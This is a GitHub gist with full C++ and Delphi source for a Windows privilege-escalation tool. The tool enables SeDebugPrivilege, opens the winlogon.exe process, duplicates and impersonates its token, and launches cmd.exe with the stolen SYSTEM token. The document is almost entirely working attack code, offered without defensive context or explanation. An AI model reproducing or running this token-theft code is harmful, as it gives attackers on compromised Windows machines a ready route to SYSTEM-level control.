Skip to content

Instantly share code, notes, and snippets.

@NoNameDev-Git
Created February 9, 2024 09:04
Show Gist options
  • Save NoNameDev-Git/8a52b80bc7b9b27484f522d62f3dd184 to your computer and use it in GitHub Desktop.
Save NoNameDev-Git/8a52b80bc7b9b27484f522d62f3dd184 to your computer and use it in GitHub Desktop.
ADMINISTRATOR to SYSTEM C++ and Delphi
#include <windows.h>
#include <iostream>
#include <Psapi.h>
#include <Tlhelp32.h>
#include <sddl.h>
#pragma comment (lib,"advapi32.lib")
#define PROCESS_ARRAY 2048
std::string wcharToString(wchar_t input[1024])
{
std::wstring wstringValue(input);
std::string convertedString(wstringValue.begin(), wstringValue.end());
return convertedString;
}
void GetTokenInfo(HANDLE TokenHandle)
{
LPVOID TokenInformation = NULL;
DWORD TokenInformationLength = 0;
DWORD ReturnLength;
SID_NAME_USE SidType;
GetTokenInformation(TokenHandle, TokenUser, NULL, 0, &ReturnLength);
PTOKEN_USER pTokenUser = (PTOKEN_USER)GlobalAlloc(GPTR, ReturnLength);
GetTokenInformation(TokenHandle, TokenUser, pTokenUser, ReturnLength, &ReturnLength);
wchar_t* userSid = NULL;
ConvertSidToStringSid(pTokenUser->User.Sid, &userSid);
std::string sid = wcharToString(userSid);
TCHAR szGroupName[256];
TCHAR szDomainName[256];
DWORD cchGroupName = 256;
DWORD cchDomainName = 256;
LookupAccountSid(NULL, pTokenUser->User.Sid, szGroupName, &cchGroupName, szDomainName, &cchDomainName, &SidType);
std::wcout << "[+] Current SID: " << szDomainName << "\\" << szGroupName << " @ ";
std::cout << sid << std::endl;;
}
int LocateWinLogonProcess()
{
DWORD lpidProcess[PROCESS_ARRAY], lpcbNeeded, cProcesses;
EnumProcesses(lpidProcess, sizeof(lpidProcess), &lpcbNeeded);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 p32;
p32.dwSize = sizeof(PROCESSENTRY32);
int processWinlogonPid;
if (Process32First(hSnapshot, &p32))
{
do {
if (wcharToString(p32.szExeFile) == "winlogon.exe")
{
std::cout << "[+] Located winlogon.exe by process name (PID " << p32.th32ProcessID << ")" << std::endl;
processWinlogonPid = p32.th32ProcessID;
return processWinlogonPid;
break;
}
} while (Process32Next(hSnapshot, &p32));
CloseHandle(hSnapshot);
}
}
void EnableSeDebugPrivilegePrivilege()
{
LUID luid;
HANDLE currentProc = OpenProcess(PROCESS_ALL_ACCESS, false, GetCurrentProcessId());
if (currentProc)
{
HANDLE TokenHandle(NULL);
BOOL hProcessToken = OpenProcessToken(currentProc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle);
if (hProcessToken)
{
BOOL checkToken = LookupPrivilegeValue(NULL, L"SeDebugPrivilege", &luid);
if (!checkToken)
{
std::cout << "[+] Current process token already includes SeDebugPrivilege\n" << std::endl;
}
else
{
TOKEN_PRIVILEGES tokenPrivs;
tokenPrivs.PrivilegeCount = 1;
tokenPrivs.Privileges[0].Luid = luid;
tokenPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL adjustToken = AdjustTokenPrivileges(TokenHandle, FALSE, &tokenPrivs, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL);
if (adjustToken != 0)
{
std::cout << "[+] Added SeDebugPrivilege to the current process token" << std::endl;
}
}
CloseHandle(TokenHandle);
}
}
CloseHandle(currentProc);
}
BOOL CreateImpersonatedProcess(HANDLE NewToken)
{
bool NewProcess;
STARTUPINFO lpStartupInfo = { 0 };
PROCESS_INFORMATION lpProcessInformation = { 0 };
lpStartupInfo.cb = sizeof(lpStartupInfo);
NewProcess = CreateProcessWithTokenW(NewToken, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &lpStartupInfo, &lpProcessInformation);
if (!NewProcess)
{
std::cout << "[!] Failed to create a new process with the stolen TOKEN" << std::endl;
return -1;
}
std::cout << "[+] Created a new process with the stolen TOKEN" << std::endl;
GetTokenInfo(NewToken);
CloseHandle(NewToken);
}
BOOL StealToken(int TargetPID)
{
HANDLE hProcess = NULL;
HANDLE TokenHandle = NULL;
HANDLE NewToken = NULL;
BOOL OpenToken;
BOOL Impersonate;
BOOL Duplicate;
hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, TargetPID);
if (!hProcess)
{
std::cout << "[!] Failed to obtain a HANDLE to the target PID" << std::endl;
return -1;
}
std::cout << "[+] Obtained a HANDLE to the target PID" << std::endl;
OpenToken = OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &TokenHandle);
if (!OpenToken)
{
std::cout << "[!] Failed to obtain a HANDLE to the target TOKEN" << std::endl;
std::cout << GetLastError();
}
std::cout << "[+] Obtained a HANDLE to the target TOKEN" << std::endl;
Impersonate = ImpersonateLoggedOnUser(TokenHandle);
if (!Impersonate)
{
std::cout << "[!] Failed to impersonate the TOKEN's user" << std::endl;
return -1;
}
std::cout << "[+] Impersonated the TOKEN's user" << std::endl;
Duplicate = DuplicateTokenEx(TokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &NewToken);
if (!Duplicate)
{
std::cout << "[!] Failed to duplicate the target TOKEN" << std::endl;
return -1;
}
std::cout << "[+] Duplicated the target TOKEN" << std::endl;
CreateImpersonatedProcess(NewToken);
CloseHandle(hProcess);
CloseHandle(TokenHandle);
}
void CheckCurrentProcess()
{
HANDLE TokenHandle = NULL;
HANDLE hCurrent = GetCurrentProcess();
OpenProcessToken(hCurrent, TOKEN_QUERY, &TokenHandle);
GetTokenInfo(TokenHandle);
CloseHandle(TokenHandle);
}
int main(int argc, char* argv[])
{
CheckCurrentProcess();
int winLogonPID = LocateWinLogonProcess();
EnableSeDebugPrivilegePrivilege();
StealToken(winLogonPID);
return 0;
}
program Project1;
uses
Vcl.Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.res}
begin
Application.Initialize;
Application.MainFormOnTaskbar := True;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
unit Unit1;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, TlHelp32, Psapi;
type
TForm1 = class(TForm)
Memo1: TMemo;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
type
SID_AND_ATTRIBUTES = record
Sid: PSID;
Attributes: DWORD;
end;
type
PTOKEN_USER = ^TOKEN_USER;
TOKEN_USER = record
User: SID_AND_ATTRIBUTES;
end;
type
LPSTARTUPINFOW = ^STARTUPINFOW;
STARTUPINFOW = record
cb: DWORD;
lpReserved: LPWSTR;
lpDesktop: LPWSTR;
lpTitle: LPWSTR;
dwX: DWORD;
dwY: DWORD;
dwXSize: DWORD;
dwYSize: DWORD;
dwXCountChars: DWORD;
dwYCountChars: DWORD;
dwFillAttribute: DWORD;
dwFlags: DWORD;
wShowWindow: Word;
cbReserved2: Word;
lpReserved2: LPBYTE;
hStdInput: THandle;
hStdOutput: THandle;
hStdError: THandle;
end;
type
LPPROCESS_INFORMATION = ^PROCESS_INFORMATION;
PROCESS_INFORMATION = record
hProcess: THandle;
hThread: THandle;
dwProcessId: DWORD;
dwThreadId: DWORD;
end;
var
Form1: TForm1;
const
PROCESS_ARRAY = 2048;
LOGON_WITH_PROFILE = $00000001;
TOKEN_ALL_ACCESS = $F01FF;
function CreateProcessWithTokenW(hToken: THandle; dwLogonFlags: DWORD;
lpApplicationName: LPCWSTR; lpCommandLine: LPWSTR;
dwCreationFlags: DWORD; lpEnvironment: LPVOID;
lpCurrentDirectory: LPCWSTR; lpStartupInfo: LPSTARTUPINFOW;
lpProcessInformation: LPPROCESS_INFORMATION): BOOL; stdcall;
external 'advapi32.dll' name 'CreateProcessWithTokenW';
implementation
{$R *.dfm}
procedure GetTokenInfo(TokenHandle: THandle);
var
TokenInformation: Pointer;
ReturnLength: DWORD;
pTokenUser: PTOKEN_USER;
userSid: LPWSTR;
szGroupName, szDomainName: array[0..255] of CHAR;
begin
GetTokenInformation(TokenHandle, TokenUser, nil, 0, ReturnLength);
GetMem(TokenInformation, ReturnLength);
try
pTokenUser := PTOKEN_USER(TokenInformation);
GetTokenInformation(TokenHandle, TokenUser, pTokenUser, ReturnLength, ReturnLength);
ConvertSidToStringSid(pTokenUser.User.Sid, userSid);
Form1.Memo1.Lines.Add('[+] Current SID: '+ szDomainName+ '\'+ szGroupName+ ' @ '+ String(userSid));
finally
FreeMem(TokenInformation);
end;
end;
procedure EnableSeDebugPrivilegePrivilege;
var
TokenHandle: THandle;
d : DWORD;
tp : TOKEN_PRIVILEGES;
begin
if OpenProcessToken(OpenProcess(PROCESS_ALL_ACCESS, False, GetCurrentProcessId()),
TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, TokenHandle) then
begin
tp.PrivilegeCount := 1;
if LookupPrivilegeValue(nil, 'SeDebugPrivilege', tp.Privileges[0].Luid) then
begin
tp.Privileges[0].Attributes := $00000002;
if AdjustTokenPrivileges(TokenHandle, False, tp, SizeOf(TOKEN_PRIVILEGES), nil, d) then
begin
Form1.Memo1.Lines.Add('[+] Added SeDebugPrivilege to the current process token');
end;
end
else Form1.Memo1.Lines.Add('[+] Current process token already includes SeDebugPrivilege')
end;
end;
function CreateImpersonatedProcess(NewToken: THandle): BOOL;
var
lpStartupInfo: STARTUPINFO;
lpProcessInformation: PROCESS_INFORMATION;
begin
ZeroMemory(@lpStartupInfo, SizeOf(lpStartupInfo));
lpStartupInfo.cb := SizeOf(lpStartupInfo);
if CreateProcessWithTokenW(NewToken, LOGON_WITH_PROFILE, 'C:\Windows\System32\cmd.exe', nil, 0, nil, nil, @lpStartupInfo, @lpProcessInformation) then
begin
Form1.Memo1.Lines.Add('[+] Created a new process with the stolen TOKEN');
GetTokenInfo(NewToken);
CloseHandle(NewToken);
Result := True;
end
else
begin
Form1.Memo1.Lines.Add('[!] Failed to create a new process with the stolen TOKEN');
Result := False;
end;
end;
function InstallToken(TargetPID: Integer): BOOL;
var
TokenHandle, NewToken: THandle;
begin
Result := False;
if OpenProcessToken(OpenProcess(PROCESS_ALL_ACCESS, True, TargetPID), TOKEN_DUPLICATE or TOKEN_ASSIGN_PRIMARY or TOKEN_QUERY, TokenHandle) then
begin
Form1.Memo1.Lines.Add('[+] Obtained a HANDLE to the target TOKEN');
if ImpersonateLoggedOnUser(TokenHandle) then
begin
Form1.Memo1.Lines.Add('[+] Impersonated the TOKEN''s user');
if DuplicateTokenEx(TokenHandle, TOKEN_ALL_ACCESS, nil, SecurityImpersonation, TokenPrimary, NewToken) then
begin
Form1.Memo1.Lines.Add('[+] Duplicated the target TOKEN');
Result := CreateImpersonatedProcess(NewToken);
CloseHandle(TokenHandle);
end
else Form1.Memo1.Lines.Add('[!] Failed to duplicate the target TOKEN');
end
else Form1.Memo1.Lines.Add('[!] Failed to impersonate the TOKEN''s user');
end
else Form1.Memo1.Lines.Add('[!] Failed to obtain a HANDLE to the target TOKEN');
end;
procedure CheckCurrentProcess;
var
TokenHandle: THandle;
hCurrent: THandle;
begin
hCurrent := 0;
if GetCurrentProcess() <> 0 then
begin
if OpenProcessToken(hCurrent, TOKEN_QUERY, TokenHandle) then
begin
GetTokenInfo(TokenHandle);
CloseHandle(TokenHandle);
end;
end;
end;
function GetPID(IFile: String): DWORD;
var
IH: THandle;
IPE: TProcessEntry32;
begin
Result := 0;
IFile := UpperCase(IFile);
IH := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if IH <> 0 then
try
IPE.dwSize := Sizeof(IPE);
if Process32First(IH, IPE) then
repeat
if Pos(IFile,UpperCase(ExtractFilename(StrPas(IPE.szExeFile)))) > 0 then
begin
Form1.Memo1.Lines.Add('[+] Located winlogon.exe by process name (PID '+ IntToStr(IPE.th32ProcessID)+ ')');
Result:= IPE.th32ProcessID;
Break;
end;
until not Process32Next(IH, IPE);
finally
CloseHandle(IH);
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
var PID: Cardinal;
begin
try
PID := GetPID('winlogon.exe');
CheckCurrentProcess;
EnableSeDebugPrivilegePrivilege;
InstallToken(PID);
except
on E: Exception do
Form1.Memo1.Lines.Add('Error: '+ E.ClassName+ ': '+ E.Message);
end;
end;
end.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment